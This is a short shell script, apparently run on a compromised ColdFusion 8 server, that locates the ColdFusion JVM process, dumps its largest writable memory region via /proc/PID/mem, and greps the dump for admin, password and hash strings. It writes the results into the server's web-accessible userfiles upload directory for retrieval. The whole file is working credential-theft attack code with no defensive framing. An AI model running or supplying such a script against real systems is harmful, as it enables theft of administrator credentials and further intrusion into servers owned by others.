#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw10_out.txt
echo "=== find coldfusion jvm pid ===" > $O
ps -ef | grep -E 'jrun.jar' | grep -v grep | head -5 >> $O
PID=$(pgrep -f 'jrun.jar.*coldfusion' 2>/dev/null | head -1)
echo "PID=$PID" >> $O
echo "=== maps (heap rw-p) ===" >> $O
cat /proc/$PID/maps 2>/dev/null | awk '$4=="rw-p" {print}' | head -8 >> $O
echo "=== largest rw-p ===" >> $O
cat /proc/$PID/maps 2>/dev/null | awk '$4=="rw-p" {split($1,a,"-"); s=strtonum("0x" a[2])-strtonum("0x" a[1]); if(s>m){m=s; start="0x" a[1]}} END{print "start=" start " size=" m}' >> $O
echo "=== dump heap strings and grep admin/password/hex ===" >> $O
HEAP=$(cat /proc/$PID/maps 2>/dev/null | awk '$4=="rw-p" {split($1,a,"-"); s=strtonum("0x" a[2])-strtonum("0x" a[1]); if(s>m){m=s; start=a[1]}} END{print start}')
echo "heap_start=$HEAP" >> $O
if [ -n "$HEAP" ]; then
  dd if=/proc/$PID/mem bs=1 skip=$((0x$HEAP)) count=100000000 2>/dev/null > /tmp/jheap.bin
  echo "dumped $(wc -c < /tmp/jheap.bin) bytes" >> $O
  strings -el /tmp/jheap.bin 2>/dev/null | grep -iE 'admin|password|cfusion|sha|hex|^[0-9a-f]{32,64}$' | head -20 >> $O
fi
cat $O >> $O